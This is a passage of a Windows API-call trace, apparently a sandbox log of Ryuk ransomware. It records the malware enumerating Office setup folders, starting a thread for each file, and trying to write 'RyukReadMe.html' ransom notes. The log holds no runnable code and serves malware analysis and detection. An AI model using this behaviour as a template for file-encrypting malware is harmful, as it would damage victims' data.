	[0164.501] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0164.505] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.505] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0164.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0164.611] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.612] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1
	[0164.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0164.615] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.615] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1
	[0164.615] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0xbe, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1
	[0164.615] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1
	[0164.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.616] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0164.619] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.619] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1
	[0164.619] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0164.622] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.623] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1
	[0164.623] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.624] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0164.625] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.626] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1
	[0164.626] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0164.628] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.629] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.629] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0164.631] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.631] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0164.631] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.829] SetLastError (dwErrCode=0x0) 
	[0164.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.830] GetLastError () returned 0x5
	[0164.830] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.830] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1
	[0164.830] SetLastError (dwErrCode=0x0) 
	[0164.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.831] GetLastError () returned 0x5
	[0164.831] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.834] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.835] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0164.835] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0164.838] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.839] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0164.844] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.845] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0164.845] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.846] SetLastError (dwErrCode=0x0) 
	[0164.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.846] GetLastError () returned 0x5
	[0164.846] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.846] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.846] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1
	[0164.846] SetLastError (dwErrCode=0x0) 
	[0164.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.847] GetLastError () returned 0x5
	[0164.847] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.847] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.849] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.850] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0164.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0164.852] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.853] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0
	[0164.853] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0164.853] SetLastError (dwErrCode=0x0) 
	[0164.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.854] GetLastError () returned 0x5
	[0164.854] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.854] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1
	[0164.854] SetLastError (dwErrCode=0x0) 
	[0164.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.856] GetLastError () returned 0x5
	[0164.856] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0164.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.856] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.858] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.858] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0xbe, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1
	[0164.858] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0164.862] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0164.863] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0164.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0165.452] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.453] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.453] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.454] SetLastError (dwErrCode=0x0) 
	[0165.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
